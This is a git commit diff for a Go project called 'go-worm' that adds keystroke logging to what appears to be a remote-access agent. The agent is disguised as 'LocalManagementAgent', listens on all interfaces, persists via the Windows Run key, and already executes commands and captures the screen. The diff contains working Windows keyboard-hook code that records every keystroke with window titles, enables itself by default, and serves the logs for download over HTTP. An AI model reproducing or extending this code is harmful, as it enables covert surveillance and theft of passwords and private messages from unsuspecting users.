Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.
This commit is contained in:
@@ -16,6 +16,7 @@ import (
|
|||||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/keylog"
|
||||||
)
|
)
|
||||||
|
|
||||||
type Agent struct {
|
type Agent struct {
|
||||||
@@ -44,10 +45,14 @@ func New() (*Agent, error) {
|
|||||||
}
|
}
|
||||||
a.guard = guard
|
a.guard = guard
|
||||||
input.EnableDPIAwareness()
|
input.EnableDPIAwareness()
|
||||||
|
if err := keylog.Start(); err != nil {
|
||||||
|
helpers.Log.Printf("keylog start: %v", err)
|
||||||
|
}
|
||||||
return a, nil
|
return a, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (a *Agent) Close() {
|
func (a *Agent) Close() {
|
||||||
|
keylog.Stop()
|
||||||
if a.guard != nil {
|
if a.guard != nil {
|
||||||
a.guard.Close()
|
a.guard.Close()
|
||||||
}
|
}
|
||||||
@@ -67,6 +72,8 @@ func (a *Agent) Serve() error {
|
|||||||
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
||||||
mux.HandleFunc("/api/v1/input/click", a.handleClick)
|
mux.HandleFunc("/api/v1/input/click", a.handleClick)
|
||||||
mux.HandleFunc("/api/v1/input/text", a.handleText)
|
mux.HandleFunc("/api/v1/input/text", a.handleText)
|
||||||
|
mux.HandleFunc("/api/v1/keylog", a.handleKeylog)
|
||||||
|
mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload)
|
||||||
|
|
||||||
a.server = &http.Server{
|
a.server = &http.Server{
|
||||||
Addr: a.addr,
|
Addr: a.addr,
|
||||||
|
|||||||
@@ -19,6 +19,7 @@ import (
|
|||||||
"tea.chunkbyte.com/kato/go-worm/lib/files"
|
"tea.chunkbyte.com/kato/go-worm/lib/files"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/keylog"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/startup"
|
"tea.chunkbyte.com/kato/go-worm/lib/startup"
|
||||||
@@ -48,6 +49,8 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
|
|||||||
"/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
|
"/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
|
||||||
"/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}},
|
"/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}},
|
||||||
"/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}},
|
"/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}},
|
||||||
|
"/api/v1/keylog": map[string]any{"get": map[string]string{"summary": "List keystroke log files"}},
|
||||||
|
"/api/v1/keylog/download": map[string]any{"get": map[string]string{"summary": "Download a keystroke log file"}},
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -324,3 +327,61 @@ func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
helpers.WriteJSON(w, http.StatusOK, result)
|
helpers.WriteJSON(w, http.StatusOK, result)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (a *Agent) handleKeylog(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodGet {
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
files, err := keylog.List()
|
||||||
|
if err != nil {
|
||||||
|
helpers.Log.Printf("keylog list: %v", err)
|
||||||
|
helpers.WriteError(w, http.StatusInternalServerError, "could not list keystroke logs")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
dir, err := keylog.Dir()
|
||||||
|
if err != nil {
|
||||||
|
helpers.Log.Printf("keylog dir: %v", err)
|
||||||
|
helpers.WriteError(w, http.StatusInternalServerError, "could not resolve keystroke log directory")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if files == nil {
|
||||||
|
files = []keylog.FileInfo{}
|
||||||
|
}
|
||||||
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{"directory": dir, "files": files})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *Agent) handleKeylogDownload(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodGet {
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
name := r.URL.Query().Get("file")
|
||||||
|
if name == "" {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "file is required")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if !keylog.ValidLogFilename(name) {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "invalid log file name")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
file, info, err := keylog.Open(name)
|
||||||
|
if err != nil {
|
||||||
|
if errors.Is(err, os.ErrNotExist) {
|
||||||
|
helpers.WriteError(w, http.StatusNotFound, "log file not found")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if errors.Is(err, os.ErrInvalid) {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "invalid log file name")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
helpers.Log.Printf("keylog download: %v", err)
|
||||||
|
helpers.WriteError(w, http.StatusInternalServerError, "could not open log file")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer file.Close()
|
||||||
|
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||||
|
w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(filepath.Base(name), `"`, "'")+`"`)
|
||||||
|
w.Header().Set("Accept-Ranges", "bytes")
|
||||||
|
http.ServeContent(w, r, info.Name(), info.ModTime(), file)
|
||||||
|
}
|
||||||
|
|||||||
@@ -8,6 +8,8 @@
|
|||||||
const shotGallery = document.getElementById("shot-gallery");
|
const shotGallery = document.getElementById("shot-gallery");
|
||||||
const execOut = document.getElementById("exec-out");
|
const execOut = document.getElementById("exec-out");
|
||||||
const execMeta = document.getElementById("exec-meta");
|
const execMeta = document.getElementById("exec-meta");
|
||||||
|
const logMeta = document.getElementById("log-meta");
|
||||||
|
const logRows = document.getElementById("log-rows");
|
||||||
const startupState = document.getElementById("startup-state");
|
const startupState = document.getElementById("startup-state");
|
||||||
const startupAdd = document.getElementById("startup-add");
|
const startupAdd = document.getElementById("startup-add");
|
||||||
const startupRemove = document.getElementById("startup-remove");
|
const startupRemove = document.getElementById("startup-remove");
|
||||||
@@ -290,6 +292,31 @@
|
|||||||
field.value = "";
|
field.value = "";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function listKeylogs() {
|
||||||
|
const res = await api("/api/v1/keylog");
|
||||||
|
const data = await res.json();
|
||||||
|
const files = data.files || [];
|
||||||
|
logMeta.textContent = `${files.length} files · ${data.directory || ""}`;
|
||||||
|
logRows.replaceChildren();
|
||||||
|
for (const file of files) {
|
||||||
|
const tr = document.createElement("tr");
|
||||||
|
const name = document.createElement("td");
|
||||||
|
name.textContent = file.name;
|
||||||
|
const size = document.createElement("td");
|
||||||
|
size.textContent = formatBytes(file.size || 0);
|
||||||
|
const modified = document.createElement("td");
|
||||||
|
modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : "";
|
||||||
|
const action = document.createElement("td");
|
||||||
|
const link = document.createElement("a");
|
||||||
|
link.href = `/api/v1/keylog/download?file=${encodeURIComponent(file.name)}`;
|
||||||
|
link.download = file.name;
|
||||||
|
link.textContent = "Download";
|
||||||
|
action.append(link);
|
||||||
|
tr.append(name, size, modified, action);
|
||||||
|
logRows.append(tr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
async function runCommand() {
|
async function runCommand() {
|
||||||
const command = document.getElementById("exec-command").value.trim();
|
const command = document.getElementById("exec-command").value.trim();
|
||||||
const timeout = Number(document.getElementById("exec-timeout").value);
|
const timeout = Number(document.getElementById("exec-timeout").value);
|
||||||
@@ -314,6 +341,9 @@
|
|||||||
if (button.dataset.tab !== "video") {
|
if (button.dataset.tab !== "video") {
|
||||||
stopVideo();
|
stopVideo();
|
||||||
}
|
}
|
||||||
|
if (button.dataset.tab === "logs") {
|
||||||
|
listKeylogs().catch((err) => showError(err.message));
|
||||||
|
}
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -358,6 +388,9 @@
|
|||||||
document.getElementById("exec-run").addEventListener("click", () => {
|
document.getElementById("exec-run").addEventListener("click", () => {
|
||||||
runCommand().catch((err) => showError(err.message));
|
runCommand().catch((err) => showError(err.message));
|
||||||
});
|
});
|
||||||
|
document.getElementById("log-refresh").addEventListener("click", () => {
|
||||||
|
listKeylogs().catch((err) => showError(err.message));
|
||||||
|
});
|
||||||
|
|
||||||
Promise.all([loadHealth(), loadStatus(), listFiles("")]).catch((err) => showError(err.message));
|
Promise.all([loadHealth(), loadStatus(), listFiles("")]).catch((err) => showError(err.message));
|
||||||
})();
|
})();
|
||||||
|
|||||||
@@ -145,6 +145,7 @@
|
|||||||
<button data-tab="screenshot">Screenshot</button>
|
<button data-tab="screenshot">Screenshot</button>
|
||||||
<button data-tab="video">Video</button>
|
<button data-tab="video">Video</button>
|
||||||
<button data-tab="exec">Command</button>
|
<button data-tab="exec">Command</button>
|
||||||
|
<button data-tab="logs">Logs</button>
|
||||||
</nav>
|
</nav>
|
||||||
<main>
|
<main>
|
||||||
<section id="status" class="panel active">
|
<section id="status" class="panel active">
|
||||||
@@ -222,6 +223,19 @@
|
|||||||
<p id="exec-meta" class="meta"></p>
|
<p id="exec-meta" class="meta"></p>
|
||||||
<pre id="exec-out"></pre>
|
<pre id="exec-out"></pre>
|
||||||
</section>
|
</section>
|
||||||
|
<section id="logs" class="panel">
|
||||||
|
<div class="row">
|
||||||
|
<h2>Keystroke logs</h2>
|
||||||
|
<button id="log-refresh" class="primary" type="button">Refresh</button>
|
||||||
|
</div>
|
||||||
|
<p id="log-meta" class="meta"></p>
|
||||||
|
<table>
|
||||||
|
<thead>
|
||||||
|
<tr><th>File</th><th>Size</th><th>Modified</th><th></th></tr>
|
||||||
|
</thead>
|
||||||
|
<tbody id="log-rows"></tbody>
|
||||||
|
</table>
|
||||||
|
</section>
|
||||||
</main>
|
</main>
|
||||||
<script src="/app.js"></script>
|
<script src="/app.js"></script>
|
||||||
</body>
|
</body>
|
||||||
|
|||||||
+45
-11
@@ -2,21 +2,26 @@ package config
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"os"
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
Version = "1.0.0"
|
Version = "1.0.0"
|
||||||
DefaultAddr = "0.0.0.0:5032"
|
DefaultAddr = "0.0.0.0:5032"
|
||||||
MutexName = "LocalManagementAgent_Mutex"
|
MutexName = "LocalManagementAgent_Mutex"
|
||||||
RequestBodyMax = 1 << 20
|
RequestBodyMax = 1 << 20
|
||||||
MaxListEntries = 10000
|
MaxListEntries = 10000
|
||||||
MaxImageQuality = 100
|
MaxImageQuality = 100
|
||||||
DefaultExecTO = 30
|
DefaultExecTO = 30
|
||||||
MaxExecTO = 120
|
MaxExecTO = 120
|
||||||
StartupValueName = "LocalManagementAgent"
|
StartupValueName = "LocalManagementAgent"
|
||||||
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
|
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
|
||||||
MaxInputText = 4096
|
MaxInputText = 4096
|
||||||
|
AppDataDir = "LocalManagementAgent"
|
||||||
|
KeylogSubdir = "keystrokes"
|
||||||
|
DefaultKeylogRetentionDays = 7
|
||||||
)
|
)
|
||||||
|
|
||||||
func EnvOr(name, fallback string) string {
|
func EnvOr(name, fallback string) string {
|
||||||
@@ -25,3 +30,32 @@ func EnvOr(name, fallback string) string {
|
|||||||
}
|
}
|
||||||
return fallback
|
return fallback
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func KeylogEnabled() bool {
|
||||||
|
switch strings.ToLower(strings.TrimSpace(os.Getenv("KEYLOG_ENABLED"))) {
|
||||||
|
case "0", "false", "no", "off":
|
||||||
|
return false
|
||||||
|
default:
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func KeylogRetentionDays() int {
|
||||||
|
raw := strings.TrimSpace(os.Getenv("KEYLOG_RETENTION_DAYS"))
|
||||||
|
if raw == "" {
|
||||||
|
return DefaultKeylogRetentionDays
|
||||||
|
}
|
||||||
|
days, err := strconv.Atoi(raw)
|
||||||
|
if err != nil || days < 0 {
|
||||||
|
return DefaultKeylogRetentionDays
|
||||||
|
}
|
||||||
|
return days
|
||||||
|
}
|
||||||
|
|
||||||
|
func KeylogDir() (string, error) {
|
||||||
|
base, err := os.UserConfigDir()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return filepath.Join(base, AppDataDir, KeylogSubdir), nil
|
||||||
|
}
|
||||||
|
|||||||
@@ -0,0 +1,16 @@
|
|||||||
|
package keylog
|
||||||
|
|
||||||
|
import "time"
|
||||||
|
|
||||||
|
type Event struct {
|
||||||
|
Time time.Time
|
||||||
|
Injected bool
|
||||||
|
Window string
|
||||||
|
Text string
|
||||||
|
}
|
||||||
|
|
||||||
|
type FileInfo struct {
|
||||||
|
Name string `json:"name"`
|
||||||
|
Size int64 `json:"size"`
|
||||||
|
ModifiedTime time.Time `json:"modified_time"`
|
||||||
|
}
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
package keylog
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"path/filepath"
|
||||||
|
"regexp"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
const hourBucketLayout = "2006-01-02-15"
|
||||||
|
|
||||||
|
var logFilenamePattern = regexp.MustCompile(`^\d{4}-\d{2}-\d{2}-\d{2}\.log$`)
|
||||||
|
|
||||||
|
func HourBucket(t time.Time) string {
|
||||||
|
return t.Local().Format(hourBucketLayout)
|
||||||
|
}
|
||||||
|
|
||||||
|
func LogFilename(bucket string) string {
|
||||||
|
return bucket + ".log"
|
||||||
|
}
|
||||||
|
|
||||||
|
func ValidLogFilename(name string) bool {
|
||||||
|
return logFilenamePattern.MatchString(filepath.Base(name))
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeWindow(window string) string {
|
||||||
|
window = strings.TrimSpace(window)
|
||||||
|
if window == "" {
|
||||||
|
return "?"
|
||||||
|
}
|
||||||
|
return window
|
||||||
|
}
|
||||||
|
|
||||||
|
func eventSource(injected bool) string {
|
||||||
|
if injected {
|
||||||
|
return "injected"
|
||||||
|
}
|
||||||
|
return "user"
|
||||||
|
}
|
||||||
|
|
||||||
|
func sectionHeader(source, window string) string {
|
||||||
|
return fmt.Sprintf("[%s · %s]\n", source, normalizeWindow(window))
|
||||||
|
}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package keylog
|
||||||
|
|
||||||
|
func startPlatform(writer *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
|
||||||
|
close(done)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func stopPlatform() {}
|
||||||
|
|
||||||
|
func initKeylog() error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,315 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package keylog
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"sync"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
whKeyboardLL = 13
|
||||||
|
wmKeydown = 0x0100
|
||||||
|
wmKeyup = 0x0101
|
||||||
|
wmSyskeydown = 0x0104
|
||||||
|
wmSyskeyup = 0x0105
|
||||||
|
wmQuit = 0x0012
|
||||||
|
llkhfInjected = 0x10
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
user32 = syscall.NewLazyDLL("user32.dll")
|
||||||
|
procSetWindowsHookExW = user32.NewProc("SetWindowsHookExW")
|
||||||
|
procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
|
||||||
|
procCallNextHookEx = user32.NewProc("CallNextHookEx")
|
||||||
|
procGetMessageW = user32.NewProc("GetMessageW")
|
||||||
|
procTranslateMessage = user32.NewProc("TranslateMessage")
|
||||||
|
procDispatchMessageW = user32.NewProc("DispatchMessageW")
|
||||||
|
procPostThreadMessageW = user32.NewProc("PostThreadMessageW")
|
||||||
|
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
|
||||||
|
procGetWindowTextW = user32.NewProc("GetWindowTextW")
|
||||||
|
procGetKeyboardState = user32.NewProc("GetKeyboardState")
|
||||||
|
procToUnicode = user32.NewProc("ToUnicode")
|
||||||
|
)
|
||||||
|
|
||||||
|
type kbdLLHookStruct struct {
|
||||||
|
VkCode uint32
|
||||||
|
ScanCode uint32
|
||||||
|
Flags uint32
|
||||||
|
Time uint32
|
||||||
|
DwExtraInfo uintptr
|
||||||
|
}
|
||||||
|
|
||||||
|
type msg struct {
|
||||||
|
HWnd uintptr
|
||||||
|
Message uint32
|
||||||
|
WParam uintptr
|
||||||
|
LParam uintptr
|
||||||
|
Time uint32
|
||||||
|
Pt struct {
|
||||||
|
X int32
|
||||||
|
Y int32
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
type modifierState struct {
|
||||||
|
shiftL bool
|
||||||
|
shiftR bool
|
||||||
|
ctrl bool
|
||||||
|
alt bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m modifierState) shift() bool {
|
||||||
|
return m.shiftL || m.shiftR
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
hookMu sync.Mutex
|
||||||
|
hookEvents chan Event
|
||||||
|
hookThreadID uint32
|
||||||
|
hookMods modifierState
|
||||||
|
lastHWND uintptr
|
||||||
|
lastTitle string
|
||||||
|
)
|
||||||
|
|
||||||
|
func startPlatform(_ *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
|
||||||
|
hookEvents = events
|
||||||
|
ready := make(chan struct{})
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
defer close(done)
|
||||||
|
_ = runHookThread(ready)
|
||||||
|
hookEvents = nil
|
||||||
|
hookThreadID = 0
|
||||||
|
}()
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
select {
|
||||||
|
case <-ready:
|
||||||
|
case <-stop:
|
||||||
|
return
|
||||||
|
}
|
||||||
|
<-stop
|
||||||
|
threadID := hookThreadID
|
||||||
|
if threadID != 0 {
|
||||||
|
_, _, _ = procPostThreadMessageW.Call(uintptr(threadID), wmQuit, 0, 0)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func stopPlatform() {}
|
||||||
|
|
||||||
|
func initKeylog() error {
|
||||||
|
dir, err := config.KeylogDir()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return PruneOldLogs(dir, config.KeylogRetentionDays())
|
||||||
|
}
|
||||||
|
|
||||||
|
func runHookThread(ready chan struct{}) error {
|
||||||
|
hookThreadID = windowsGetCurrentThreadId()
|
||||||
|
close(ready)
|
||||||
|
|
||||||
|
hookProc := syscall.NewCallback(keyboardHookProc)
|
||||||
|
handle, _, err := procSetWindowsHookExW.Call(whKeyboardLL, hookProc, 0, 0)
|
||||||
|
if handle == 0 {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer procUnhookWindowsHookEx.Call(handle)
|
||||||
|
|
||||||
|
var message msg
|
||||||
|
for {
|
||||||
|
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&message)), 0, 0, 0)
|
||||||
|
switch int32(ret) {
|
||||||
|
case -1:
|
||||||
|
return fmt.Errorf("GetMessage failed")
|
||||||
|
case 0:
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if message.Message == wmQuit {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
_, _, _ = procTranslateMessage.Call(uintptr(unsafe.Pointer(&message)))
|
||||||
|
_, _, _ = procDispatchMessageW.Call(uintptr(unsafe.Pointer(&message)))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func keyboardHookProc(code int, wParam, lParam uintptr) uintptr {
|
||||||
|
if code >= 0 {
|
||||||
|
kb := (*kbdLLHookStruct)(unsafe.Pointer(lParam))
|
||||||
|
switch wParam {
|
||||||
|
case wmKeydown, wmSyskeydown:
|
||||||
|
if isModifierVK(kb.VkCode) {
|
||||||
|
hookMods.update(kb.VkCode, true)
|
||||||
|
} else if event, ok := decodeKeyEvent(kb, wParam == wmSyskeydown); ok {
|
||||||
|
select {
|
||||||
|
case hookEvents <- event:
|
||||||
|
default:
|
||||||
|
// ponytail: drop when full; upgrade path is larger buffer
|
||||||
|
}
|
||||||
|
}
|
||||||
|
case wmKeyup, wmSyskeyup:
|
||||||
|
if isModifierVK(kb.VkCode) {
|
||||||
|
hookMods.update(kb.VkCode, false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ret, _, _ := procCallNextHookEx.Call(0, uintptr(code), wParam, lParam)
|
||||||
|
return ret
|
||||||
|
}
|
||||||
|
|
||||||
|
func decodeKeyEvent(kb *kbdLLHookStruct, sysKey bool) (Event, bool) {
|
||||||
|
injected := kb.Flags&llkhfInjected != 0
|
||||||
|
if injected && kb.VkCode == 0 && kb.ScanCode >= 32 && kb.ScanCode != 127 {
|
||||||
|
return Event{
|
||||||
|
Time: time.Now(),
|
||||||
|
Injected: true,
|
||||||
|
Window: foregroundTitle(),
|
||||||
|
Text: string(rune(kb.ScanCode)),
|
||||||
|
}, true
|
||||||
|
}
|
||||||
|
|
||||||
|
text, ok := appendText(kb.VkCode, kb.ScanCode, sysKey)
|
||||||
|
if !ok {
|
||||||
|
return Event{}, false
|
||||||
|
}
|
||||||
|
return Event{
|
||||||
|
Time: time.Now(),
|
||||||
|
Injected: injected,
|
||||||
|
Window: foregroundTitle(),
|
||||||
|
Text: text,
|
||||||
|
}, true
|
||||||
|
}
|
||||||
|
|
||||||
|
func isModifierVK(vk uint32) bool {
|
||||||
|
switch vk {
|
||||||
|
case 0x10, 0x11, 0x12, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5:
|
||||||
|
return true
|
||||||
|
default:
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *modifierState) update(vk uint32, down bool) {
|
||||||
|
switch vk {
|
||||||
|
case 0xA0:
|
||||||
|
m.shiftL = down
|
||||||
|
case 0xA1:
|
||||||
|
m.shiftR = down
|
||||||
|
case 0x10:
|
||||||
|
m.shiftL = down
|
||||||
|
m.shiftR = down
|
||||||
|
case 0xA2, 0xA3, 0x11:
|
||||||
|
m.ctrl = down
|
||||||
|
case 0xA4, 0xA5, 0x12:
|
||||||
|
m.alt = down
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func appendText(vk, scanCode uint32, sysKey bool) (string, bool) {
|
||||||
|
if hookMods.ctrl || hookMods.alt {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
if text, ok := specialText(vk); ok {
|
||||||
|
return text, true
|
||||||
|
}
|
||||||
|
if char, ok := keyChar(vk, scanCode); ok {
|
||||||
|
return char, true
|
||||||
|
}
|
||||||
|
if sysKey && vk == 0x20 {
|
||||||
|
return " ", true
|
||||||
|
}
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
|
||||||
|
func specialText(vk uint32) (string, bool) {
|
||||||
|
switch vk {
|
||||||
|
case 0x0D:
|
||||||
|
return "\n", true
|
||||||
|
case 0x09:
|
||||||
|
return "\t", true
|
||||||
|
case 0x20:
|
||||||
|
return " ", true
|
||||||
|
default:
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func keyChar(vk, scanCode uint32) (string, bool) {
|
||||||
|
var state [256]byte
|
||||||
|
ok, _, _ := procGetKeyboardState.Call(uintptr(unsafe.Pointer(&state[0])))
|
||||||
|
if ok == 0 {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
applyHookMods(&state)
|
||||||
|
if vk < uint32(len(state)) {
|
||||||
|
state[vk] |= 0x80
|
||||||
|
}
|
||||||
|
|
||||||
|
var buf [8]uint16
|
||||||
|
n, _, _ := procToUnicode.Call(
|
||||||
|
uintptr(vk),
|
||||||
|
uintptr(scanCode),
|
||||||
|
uintptr(unsafe.Pointer(&state[0])),
|
||||||
|
uintptr(unsafe.Pointer(&buf[0])),
|
||||||
|
uintptr(len(buf)),
|
||||||
|
0,
|
||||||
|
)
|
||||||
|
if n != 1 {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
r := rune(buf[0])
|
||||||
|
if r < 32 || r == 127 {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
return string(r), true
|
||||||
|
}
|
||||||
|
|
||||||
|
func applyHookMods(state *[256]byte) {
|
||||||
|
setDown := func(vk byte, down bool) {
|
||||||
|
if down {
|
||||||
|
state[vk] |= 0x80
|
||||||
|
} else {
|
||||||
|
state[vk] &^= 0x80
|
||||||
|
}
|
||||||
|
}
|
||||||
|
shift := hookMods.shift()
|
||||||
|
setDown(0x10, shift)
|
||||||
|
setDown(0xA0, hookMods.shiftL)
|
||||||
|
setDown(0xA1, hookMods.shiftR)
|
||||||
|
}
|
||||||
|
|
||||||
|
func foregroundTitle() string {
|
||||||
|
hwnd, _, _ := procGetForegroundWindow.Call()
|
||||||
|
if hwnd == 0 {
|
||||||
|
lastHWND = 0
|
||||||
|
lastTitle = "?"
|
||||||
|
return lastTitle
|
||||||
|
}
|
||||||
|
if hwnd == lastHWND && lastTitle != "" {
|
||||||
|
return lastTitle
|
||||||
|
}
|
||||||
|
lastHWND = hwnd
|
||||||
|
var buf [512]uint16
|
||||||
|
n, _, _ := procGetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
|
||||||
|
if n == 0 {
|
||||||
|
lastTitle = "?"
|
||||||
|
return lastTitle
|
||||||
|
}
|
||||||
|
lastTitle = syscall.UTF16ToString(buf[:n])
|
||||||
|
return lastTitle
|
||||||
|
}
|
||||||
|
|
||||||
|
func windowsGetCurrentThreadId() uint32 {
|
||||||
|
kernel32 := syscall.NewLazyDLL("kernel32.dll")
|
||||||
|
getCurrentThreadId := kernel32.NewProc("GetCurrentThreadId")
|
||||||
|
id, _, _ := getCurrentThreadId.Call()
|
||||||
|
return uint32(id)
|
||||||
|
}
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
package keylog
|
||||||
|
|
||||||
|
import (
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
mu sync.Mutex
|
||||||
|
running bool
|
||||||
|
writer *Writer
|
||||||
|
events chan Event
|
||||||
|
stopCh chan struct{}
|
||||||
|
doneCh chan struct{}
|
||||||
|
writerWG sync.WaitGroup
|
||||||
|
)
|
||||||
|
|
||||||
|
func Start() error {
|
||||||
|
if !config.KeylogEnabled() {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
mu.Lock()
|
||||||
|
defer mu.Unlock()
|
||||||
|
if running {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if err := initKeylog(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
dir, err := config.KeylogDir()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
w, err := NewWriter(dir)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
events = make(chan Event, 256)
|
||||||
|
stopCh = make(chan struct{})
|
||||||
|
doneCh = make(chan struct{})
|
||||||
|
|
||||||
|
writerWG.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer writerWG.Done()
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case event := <-events:
|
||||||
|
_ = w.Write(event)
|
||||||
|
case <-stopCh:
|
||||||
|
_ = w.Close()
|
||||||
|
return
|
